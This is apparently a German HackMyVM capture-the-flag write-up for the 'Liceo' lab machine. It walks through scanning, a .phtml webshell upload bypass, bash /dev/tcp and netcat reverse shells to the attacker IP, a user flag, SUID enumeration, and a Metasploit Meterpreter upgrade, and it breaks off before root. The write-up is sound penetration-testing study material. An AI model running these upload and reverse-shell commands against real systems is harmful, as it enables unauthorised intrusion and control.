Liceo - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
vi
ftp
cat
wget
msfconsole
nc
find
grep
python3 -m http.server

Inhaltsverzeichnis

Reconnaissance

Der erste Schritt beim Pentesting ist die Informationsbeschaffung (Reconnaissance). Hier werden Informationen über das Zielsystem gesammelt, um potenzielle Schwachstellen zu identifizieren. Dies beinhaltet das Scannen des Netzwerks nach aktiven Hosts und offenen Ports.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.113 08:00:27:73:31:80 PCS Systemtechnik GmbH

Der Befehl arp-scan -l scannt das lokale Netzwerk nach aktiven Hosts und zeigt deren IP- und MAC-Adressen an. Hier wurde die IP-Adresse 192.168.2.113 identifiziert, die dem Hostnamen "liceo.hmv" zugeordnet wird.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
127.0.0.1 localhost
192.168.2.113 liceo.hmv

Die Datei /etc/hosts wird bearbeitet, um den Hostnamen "liceo.hmv" der IP-Adresse 192.168.2.113 zuzuordnen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse im weiteren Verlauf des Pentests.

Web Enumeration

Nach der Reconnaissance folgt die Web Enumeration. Hier werden Webanwendungen auf dem Zielsystem identifiziert und analysiert, um potenzielle Schwachstellen zu finden. Dies beinhaltet das Scannen des Webservers nach bekannten Dateien und Verzeichnissen.

┌──(root㉿cyber)-[~]
└─# dirb http://liceo.hmv
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Apr 30 13:58:25 2024
URL_BASE: http://liceo.hmv/
WRDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WRDS: 4622

---- Scanning URL: http://liceo.hmv/ ----
> DIRECTRY: http://liceo.hmv/images/
> DIRECTRY: http://liceo.hmv/css/
+ http://liceo.hmv/index.html (CDE:200|SIZE:21487)
> DIRECTRY: http://liceo.hmv/js/
+ http://liceo.hmv/server-status (CDE:403|SIZE:274)
> DIRECTRY: http://liceo.hmv/uploads/

Der Befehl dirb http://liceo.hmv scannt den Webserver "liceo.hmv" nach bekannten Dateien und Verzeichnissen. Es wurden die Verzeichnisse "/images", "/css", "/js" und "/uploads" sowie die Datei "index.html" gefunden. Die "server-status" Seite ist mit einem 403 Fehlercode geschützt.

┌──(root㉿cyber)-[~]
└─# nikto -h http://192.168.2.113
#- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.113
+ Target Hostname: 192.168.2.113
+ Target Port: 80
+ Start Time: 2024-04-30 13:58:16 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 53ef, size: 6110fb200265f, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTIONS: Allowed HTTP Methods: GET, PST, PTIONS, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2024-04-30 13:58:26 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Der Befehl nikto -h http://192.168.2.113 scannt den Webserver "192.168.2.113" mit dem Nikto-Scanner auf bekannte Schwachstellen. Nikto fand heraus, dass wichtige Sicherheitsheader fehlen (X-Frame-ptions, X-Content-Type-ptions), die IP Adresse geleaked wird, und Directory Indexing in /css/ und /images/ aktiviert ist.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.113 -p- | grep open
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh penSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

nmap -sS -sV -A -T5 192.168.2.113 -p- führt einen umfassenden Scan des Zielsystems (192.168.2.113) durch, um offene Ports und zugehörige Dienste zu identifizieren. Die Option -sS verwendet SYN-Scans, um die Portzustände zu ermitteln, -sV versucht, die Version der laufenden Dienste zu identifizieren, -A aktiviert aggressive Scan-Optionen, einschließlich Betriebssystemerkennung und Skriptausführung, und -T5 setzt eine schnellere Timing-Vorlage. Der Parameter -p- gibt an, dass alle 65535 Ports gescannt werden sollen. Die Ausgabe wird dann mit grep nach Zeilen gefiltert, die "open" enthalten, um nur die offenen Ports anzuzeigen. Die Ergebnisse zeigen, dass die Ports 21 (FTP), 22 (SSH) und 80 (HTTP) auf dem Zielsystem offen sind. Dies deutet auf laufende Dienste wie FTP (vsftpd 3.0.5), SSH (penSSH 8.9p1) und einen Apache HTTP-Server (2.4.52) hin.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.113 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 13:57 CEST
Nmap scan report for liceo.hmv (192.168.2.113)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 191 Feb 01 14:29 note.txt
22/tcp open ssh penSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_ 256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Liceo
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 08:00:27:73:31:80 (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.5 (96%), Linux 5.0 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.4 (94%), Linux 5.3 - 5.4 (93%), Linux 3.4 - 3.10 (93%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.12 ms liceo.hmv (192.168.2.113)

Dieser Befehl führt einen umfassenden Nmap-Scan durch und liefert detaillierte Informationen über die offenen Ports und Dienste auf dem Zielsystem. Die Ergebnisse zeigen, dass auf Port 21 ein FTP-Server (vsftpd 3.0.5) läuft, der anonyme Anmeldungen erlaubt, und dass eine Datei namens "note.txt" vorhanden ist. Auf Port 22 läuft ein SSH-Server (penSSH 8.9p1), und auf Port 80 ein Apache HTTP-Server (2.4.52), der die Seite "Liceo" hostet. Der Scan liefert auch die MAC-Adresse des Zielsystems und gibt Hinweise auf das verwendete Betriebssystem (Linux).

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.113
Connected to 192.168.2.113.
220 (vsFTPd 3.0.5)
Name (192.168.2.113:cyber): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls l-a

Der Befehl ftp 192.168.2.113 startet eine FTP-Verbindung zum Zielsystem. Es wurde versucht, sich anonym anzumelden, was erfolgreich war.

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.113
229 Entering Extended Passive Mode (|||6417|)
150 Here comes the directory listing.
┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.113
226 Directory send K.
ftp> ls -la
229 Entering Extended Passive Mode (|||12784|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 120 4096 Feb 01 20:18 .
drwxr-xr-x 2 0 120 4096 Feb 01 20:18 ..
-rw-rw-r-- 1 1000 1000 191 Feb 01 14:29 note.txt
226 Directory send K.

Nach erfolgreicher anonymer Anmeldung am FTP-Server wird mit dem Befehl ls -la eine detaillierte Auflistung der Dateien und Verzeichnisse im aktuellen Verzeichnis angefordert. Die Ausgabe zeigt, dass es eine Datei namens note.txt gibt, die für alle lesbar ist.

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.113
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||25302|)
150 pening BINARY mode data connection for note.txt (191 bytes).
100% |*| 191 364.30 KiB/s 00:00 ETA
226 Transfer complete.
191 bytes received in 00:00 (197.79 KiB/s)

Die Datei note.txt wurde erfolgreich vom FTP-Server heruntergeladen.

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.113
ftp> put s
shell2.php specialchars.txt subrion.py
shell3.php sshroot
ftp> put sshroot
local: sshroot remote: sshroot
229 Entering Extended Passive Mode (|||26264|)
553 Could not create file.

Es wurde versucht, die Datei sshroot auf den FTP-Server hochzuladen, was jedoch aufgrund fehlender Berechtigungen fehlschlug.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://liceo.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
/index.html (Status: 200) [Size: 21487]
/images (Status: 301) [Size: 307] [--> http://liceo.hmv/images/]
/uploads (Status: 301) [Size: 308] [--> http://liceo.hmv/uploads/]
/upload.php (Status: 200) [Size: 371]
/css (Status: 301) [Size: 304] [--> http://liceo.hmv/css/]
/js (Status: 301) [Size: 303] [--> http://liceo.hmv/js/]

Der Befehl gobuster dir -u http://liceo.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k führt eine Verzeichnisauflistung auf dem Webserver durch, um versteckte Dateien und Verzeichnisse zu finden. Es wurde die Datei "upload.php" gefunden.

┌──(root㉿cyber)-[~]
└─# cat note.txt
Hi Matias, I have left on the web the continuations of today's work,
would you mind contiuing in your turn and make sure that the web will be secure?
Above all, we dont't want intruders...

Pedro Domínguez
María García
Adrián Gutierrez
liceoescuela@liceo.com

Die Datei note.txt enthält eine Nachricht von Pedro Domínguez an Matias, in der er ihn bittet, die Sicherheit der Website zu gewährleisten. Die E-Mail-Adresse liceoescuela@liceo.com könnte für weitere Reconnaissance nützlich sein.

Initial Access

Nach der Web Enumeration wird versucht, Initial Access zum System zu erhalten. Dies beinhaltet die Ausnutzung von Schwachstellen, die in den vorherigen Schritten identifiziert wurden. In diesem Fall wird die gefundene "upload.php"-Datei verwendet, um eine Webshell hochzuladen.

Die Analyse der Web Enumeration hat gezeigt, dass die Datei "upload.php" existiert. Dies deutet darauf hin, dass eine Upload-Funktionalität vorhanden ist. Es wird nun versucht, diese Funktion auszunutzen, um eine Webshell hochzuladen und somit Initial Access zum System zu erlangen.

Proof of Concept: Initial Access mittels Upload-Schwachstelle

Dieser Proof of Concept demonstriert, wie die Upload-Funktionalität auf der "upload.php"-Seite ausgenutzt werden kann, um eine Webshell hochzuladen und Befehle auf dem Server auszuführen.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

  1. Erstellen einer PHP-Datei mit dem Namen "test.phtml" mit folgendem Inhalt:

    Diese PHP-Datei enthält eine einfache Webshell, die Befehle über den "cmd"-Parameter entgegennimmt und ausführt.

  2. Hochladen der "test.phtml"-Datei über die "upload.php"-Seite.
  3. Beim Hochladen der Datei wird geprüft, ob die Datei-Erweiterung "php" ist. Wenn dies der Fall ist, wird der Upload verhindert.

  4. Aufrufen der Webshell im Browser mit der URL: http://liceo.hmv/uploads/test.phtml?cmd=id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

    Dieser Befehl gibt die Benutzer-ID, Gruppen-ID und Gruppen des Webserver-Benutzers (www-data) aus.

  5. Ausführen eines Reverse Shell Befehls, um eine interaktive Shell zu erhalten:
    http://liceo.hmv/uploads/test.phtml?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27

    Dieser Befehl startet eine Reverse Shell-Verbindung zum Angreifer-System (192.168.2.199) auf Port 4444.

Erwartetes Ergebnis:

Nach erfolgreichem Hochladen und Aufrufen der Webshell sollte eine interaktive Shell auf dem Zielsystem verfügbar sein.

Beweismittel:

Die folgenden Screenshots zeigen den erfolgreichen Upload der "test.phtml"-Datei und die Ausführung des "id"-Befehls über die Webshell:

Upload Seite Webshell Output

Risikobewertung:

Die Ausnutzung dieser Schwachstelle ermöglicht die Ausführung beliebiger Befehle auf dem Server, was zu einem vollständigen Systemkompromittierung führen kann.

Empfehlungen:

Initial Access (Fortsetzung)

Nachdem die Webshell erfolgreich hochgeladen wurde, wird eine Reverse Shell-Verbindung zum Angreifer-System aufgebaut.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.113] 58326
bash: cannot set terminal process group (732): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$

Der Befehl nc -lvnp 4444 startet einen Netcat-Listener auf Port 4444, um die Reverse Shell-Verbindung entgegenzunehmen. Nach erfolgreicher Verbindung wird eine Bash-Shell auf dem Zielsystem gestartet.

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Der Befehl id zeigt, dass die Shell mit dem Benutzer "www-data" ausgeführt wird, dem Benutzer des Webservers.

bash-5.1$ cd ..
bash-5.1$ ls -la
total 592
drwxr-xr-x 7 root root 4096 Feb 10 23:58 .
drwxr-xr-x 3 root root 4096 Feb 10 19:26 ..
drwxr-xr-x 2 www-data www-data 4096 Sep 16 2020 css
drwxr-xr-x 2 www-data www-data 4096 Sep 16 2020 images
-rw-r--r-- 1 www-data www-data 21487 Feb 10 23:49 index.html
drwxr-xr-x 2 www-data www-data 4096 Sep 16 2020 js
-rw-r--r-- 1 www-data www-data 547090 Feb 4 18:01 liceoweb.zip
drwxr-xr-x 2 www-data www-data 4096 Feb 3 06:39 spering-html
-rw-r--r-- 1 www-data www-data 1501 Feb 10 23:58 upload.php
drwxr-xr-x 2 www-data www-data 4096 Apr 30 12:08 uploads

Die Ausgabe des Befehls ls -la zeigt den Inhalt des aktuellen Verzeichnisses. Es wurde die Datei "liceoweb.zip" gefunden, die möglicherweise interessante Informationen enthält.

bash-5.1$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [30/Apr/2024 12:13:58] "GET /liceoweb.zip HTTP/1.1" 200 -

Der Befehl python3 -m http.server 8000 startet einen einfachen HTTP-Server im aktuellen Verzeichnis auf Port 8000. Dies ermöglicht das Herunterladen der Datei "liceoweb.zip" vom Angreifer-System.

┌──(root㉿cyber)-[~]
└─# wget liceo.hmv:8000/liceoweb.zip
--2024-04-30 14:13:57-- http://liceo.hmv:8000/liceoweb.zip
Auflösen des Hostnamens liceo.hmv (liceo.hmv)… 192.168.2.113
Verbindungsaufbau zu liceo.hmv (liceo.hmv)|192.168.2.113|:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 547090 (534K) [application/zip]
Wird in liceoweb.zip gespeichert.

liceoweb.zip 100%[=>] 534,27K --.-KB/s in 0,002s

2024-04-30 14:13:57 (292 MB/s) - liceoweb.zip gespeichert [547090/547090]

Der Befehl wget liceo.hmv:8000/liceoweb.zip lädt die Datei "liceoweb.zip" vom zuvor gestarteten HTTP-Server herunter.

bash-5.1$ cd /home/
bash-5.1$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Jan 31 21:44 .
drwxr-xr-x 19 root root 4096 Jan 31 21:38 ..
drwxr-x--- 5 dev www-data 4096 Feb 11 00:10 dev

Der Befehl cd /home/ wechselt in das Verzeichnis "/home/". Die Ausgabe des Befehls ls -la zeigt, dass es ein Verzeichnis "dev" gibt, das dem Benutzer "dev" gehört.

bash-5.1$ cd dev/
bash-5.1$ ls -la
total 40
drwxr-x--- 5 dev www-data 4096 Feb 11 00:10 .
drwxr-xr-x 3 root root 4096 Jan 31 21:44 ..
lrwxrwxrwx 1 root root 9 Feb 11 00:10 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 6 2022 .bashrc
drwx------ 2 dev dev 4096 Jan 31 21:48 .cache
-rw------- 1 dev dev 20 Feb 10 23:51 .lesshst
drwxrwxr-x 3 dev dev 4096 Feb 1 14:24 .local
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
drwx------ 2 dev dev 4096 Jan 31 21:45 .ssh
-rw-r--r-- 1 dev dev 0 Jan 31 21:51 .sudo_as_admin_successful
-rw-rw-r-- 1 dev dev 33 Feb 10 19:18 user.txt

Der Befehl cd dev/ wechselt in das Verzeichnis "/home/dev/". Die Ausgabe des Befehls ls -la zeigt, dass es eine Datei "user.txt" gibt, die möglicherweise die User-Flag enthält.

bash-5.1$ cat user.txt
71ab613fa286844425523780a7ebbab2

Der Befehl cat user.txt gibt den Inhalt der Datei "user.txt" aus, die die User-Flag enthält: 71ab613fa286844425523780a7ebbab2

Privilege Escalation

Nachdem Initial Access erlangt wurde, wird versucht, die Privilegien auf dem System zu erhöhen. Dies beinhaltet die Suche nach Schwachstellen, die es ermöglichen, Root-Rechte zu erlangen.

Nachdem wir als "www-data" angemeldet sind, versuchen wir nun, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.

bash-5.1$ find / -type f -perm -4000 -ls 2>/dev/null

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach Dateien mit dem SUID-Bit gesetzt. Dies sind Dateien, die mit den Rechten des Eigentümers ausgeführt werden, unabhängig davon, welcher Benutzer sie startet. Die Ausgabe wird nach "/dev/null" umgeleitet, um Fehlermeldungen zu unterdrücken.

293 133 -rwsr-xr-x 1 root root 135928 Mar 21 21:14 /snap/snapd/21465/usr/lib/snapd/snap-confine
297 129 -rwsr-xr-x 1 root root 131832 Nov 29 14:54 /snap/snapd/20671/usr/lib/snapd/snap-confine
847 84 -rwsr-xr-x 1 root root 85064 Nov 29 2022 /snap/core20/2105/usr/bin/chfn
853 52 -rwsr-xr-x 1 root root 53040 Nov 29 2022 /snap/core20/2105/usr/bin/chsh
923 87 -rwsr-xr-x 1 root root 88464 Nov 29 2022 /snap/core20/2105/usr/bin/gpasswd
1007 55 -rwsr-xr-x 1 root root 55528 May 30 2023 /snap/core20/2105/usr/bin/mount
1016 44 -rwsr-xr-x 1 root root 44784 Nov 29 2022 /snap/core20/2105/usr/bin/newgrp
1031 67 -rwsr-xr-x 1 root root 68208 Nov 29 2022 /snap/core20/2105/usr/bin/passwd
1141 67 -rwsr-xr-x 1 root root 67816 May 30 2023 /snap/core20/2105/usr/bin/su
1142 163 -rwsr-xr-x 1 root root 166056 Apr 4 2023 /snap/core20/2105/usr/bin/sudo
1200 39 -rwsr-xr-x 1 root root 39144 May 30 2023 /snap/core20/2105/usr/bin/umount
1289 51 -rwsr-xr-- 1 root systemd-resolve 51344 ct 25 2022 /snap/core20/2105/usr/lib/dbus-1.0/dbus-daemon-launch-helper
1663 463 -rwsr-xr-x 1 root root 473576 Aug 4 2023 /snap/core20/2105/usr/lib/openssh/ssh-keysign
847 84 -rwsr-xr-x 1 root root 85064 Nov 29 2022 /snap/core20/1974/usr/bin/chfn
853 52 -rwsr-xr-x 1 root root 53040 Nov 29 2022 /snap/core20/1974/usr/bin/chsh
922 87 -rwsr-xr-x 1 root root 88464 Nov 29 2022 /snap/core20/1974/usr/bin/gpasswd
1006 55 -rwsr-xr-x 1 root root 55528 May 30 2023 /snap/core20/1974/usr/bin/mount
1015 44 -rwsr-xr-x 1 root root 44784 Nov 29 2022 /snap/core20/1974/usr/bin/newgrp
1030 67 -rwsr-xr-x 1 root root 68208 Nov 29 2022 /snap/core20/1974/usr/bin/passwd
1140 67 -rwsr-xr-x 1 root root 67816 May 30 2023 /snap/core20/1974/usr/bin/su
1141 163 -rwsr-xr-x 1 root root 166056 Apr 4 2023 /snap/core20/1974/usr/bin/sudo
1199 39 -rwsr-xr-x 1 root root 39144 May 30 2023 /snap/core20/1974/usr/bin/umount
1288 51 -rwsr-xr-- 1 root systemd-resolve 51344 ct 25 2022 /snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
1660 463 -rwsr-xr-x 1 root root 473576 Apr 3 2023 /snap/core20/1974/usr/lib/openssh/ssh-keysign
10243 136 -rwsr-xr-x 1 root root 138408 May 29 2023 /usr/lib/snapd/snap-confine
1410 36 -rwsr-xr-- 1 root messagebus 35112 ct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
38991 332 -rwsr-xr-x 1 root root 338536 Jan 2 16:54 /usr/lib/openssh/ssh-keysign
875 60 -rwsr-xr-x 1 root root 59976 Nov 24 2022 /usr/bin/passwd
897 32 -rwsr-xr-x 1 root root 30872 Feb 26 2022 /usr/bin/pkexec
841 40 -rwsr-xr-x 1 root root 40496 Nov 24 2022 /usr/bin/newgrp
696 72 -rwsr-xr-x 1 root root 72072 Nov 24 2022 /usr/bin/gpasswd
1111 56 -rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su
572 44 -rwsr-xr-x 1 root root 44808 Nov 24 2022 /usr/bin/chsh
566 72 -rwsr-xr-x 1 root root 72712 Nov 24 2022 /usr/bin/chfn
829 48 -rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
1187 36 -rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
1112 228 -rwsr-xr-x 1 root root 232416 Apr 3 2023 /usr/bin/sudo
517 1364 -rwsr-sr-x 1 root root 1396520 Jan 6 2022 /usr/bin/bash
680 36 -rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
13735 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1

Die Ausgabe zeigt eine Liste von SUID-Dateien. Besonders interessant ist /usr/bin/pkexec, das eine bekannte Schwachstelle (CVE-2021-4034) aufweist. Es wird auch /usr/bin/bash mit SUID bit angezeigt.

bash-5.1$ getcap -r / 2>/dev/null

Der Befehl getcap -r / 2>/dev/null sucht nach Dateien mit gesetzten Dateisystem-Capabilities. Capabilities sind feingranulare Berechtigungen, die an einzelne Dateien vergeben werden können. Die Ausgabe wird nach "/dev/null" umgeleitet, um Fehlermeldungen zu unterdrücken.

/snap/core20/2105/usr/bin/ping cap_net_raw=ep
/snap/core20/1974/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep

Die Ausgabe zeigt eine Liste von Dateien mit gesetzten Capabilities. Die Datei /usr/bin/ping hat die Capability cap_net_raw=ep, die es ihr ermöglicht, rohe Netzwerkpakete zu senden.

bash-5.1$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1879 Jan 31 22:08 /etc/passwd

Mit ls -la /etc/passwd werden die Dateirechte und Metadaten der Datei /etc/passwd angezeigt. Die Ausgabe zeigt, dass die Datei dem Benutzer und der Gruppe root gehört, die Leserechte für alle Benutzer hat, aber nur der Eigentümer (root) Schreibrechte besitzt. Diese Datei enthält wichtige Benutzerkontoinformationen und ist für die Systemintegrität entscheidend.

bash-5.1$ uname -a
Linux liceoserver 5.15.0-92-generic #102-Ubuntu SMP Wed Jan 10 09:33:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Der Befehl uname -a zeigt die Kernel-Version des Systems. Diese Information ist wichtig, um passende Exploits zu finden.

bash-5.1$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) R jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) R sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Der Befehl cat /etc/crontab zeigt den Inhalt der Crontab-Datei an, die systemweite Cronjobs enthält. Diese Datei definiert, welche Befehle zu bestimmten Zeiten oder Intervallen automatisch ausgeführt werden. Die Ausgabe zeigt, dass verschiedene Jobs wie die Ausführung von Skripten in /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly und /etc/cron.monthly als root-Benutzer ausgeführt werden. Dies könnte ein potenzieller Angriffspunkt sein, wenn ein Angreifer die Kontrolle über eines dieser Skripte erlangen könnte.

┌──(root㉿cyber)-[~]
└─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.199:5555

Der Befehl msfconsole -q startet die Metasploit-Konsole im Quiet-Modus. Anschließend wird der "multi/handler" Exploit ausgewählt und die LHOST (Angreifer-IP) und LPORT (Angreifer-Port) gesetzt. Der Exploit wird dann gestartet, um eine Reverse Shell-Verbindung zu empfangen.

bash-5.1$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory

Dieser Befehl versucht, eine Reverse Shell über Netcat zu erstellen. Zuerst wird versucht, eine FIFO-Datei (/tmp/f) zu entfernen, falls sie bereits existiert, und dann eine neue FIFO-Datei erstellt. Anschließend wird versucht, die Standardeingabe und Standardausgabe über diese FIFO-Datei an eine Netcat-Verbindung zum Angreifer (192.168.2.199 auf Port 5555) umzuleiten. Der Fehler "rm: cannot remove '/tmp/f': No such file or directory" deutet darauf hin, dass die Datei /tmp/f nicht vorhanden war, als der Befehl ausgeführt wurde.

[*] Command shell session 1 opened (192.168.2.199:5555 -> 192.168.2.113:36256) at 2024-04-30 14:23:52 +0200

Die Ausgabe zeigt, dass eine Command Shell-Sitzung auf Port 5555 geöffnet wurde.

Shell Banner:
$
-----

Die Ausgabe Shell Banner zeigt, dass wir eine Sitzung geöffnet haben.

Background session 1? [y/N] y
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter

Dieser Befehl schickt die Sitzung in den Hintergrund.

msf6 post(multi/manage/shell_to_meterpreter) > set session 1

Dieser Befehl selectiert die geöffnete Sitzung 1.

session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.113
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.113:48246) at 2024-04-30 14:24:53 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Dieser Befehl verwendet ein Metasploit Post-Modul namens "shell_to_meterpreter", um eine bestehende Shell-Sitzung in eine Meterpreter-Sitzung zu konvertieren. Zuerst wird die Sitzungs-ID (session 1) festgelegt. Dann wird das Modul ausgeführt, um die bestehende Shell-Sitzung zu erweitern. Nach erfolgreicher Ausführung wird eine neue Meterpreter-Sitzung (Session 2) geöffnet, die erweiterte Funktionen wie Speicheranalyse, Dateisysteminteraktion und mehr bietet. Die Ausgabe zeigt den Fortschritt des Upgrade-Prozesses und die erfolgreiche Eröffnung der Meterpreter-Sitzung.

msf6 post(multi/manage/shell_to_meterpreter) > use 1

Dieser Befehl verwendet die Sitzung mit der ID 1

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
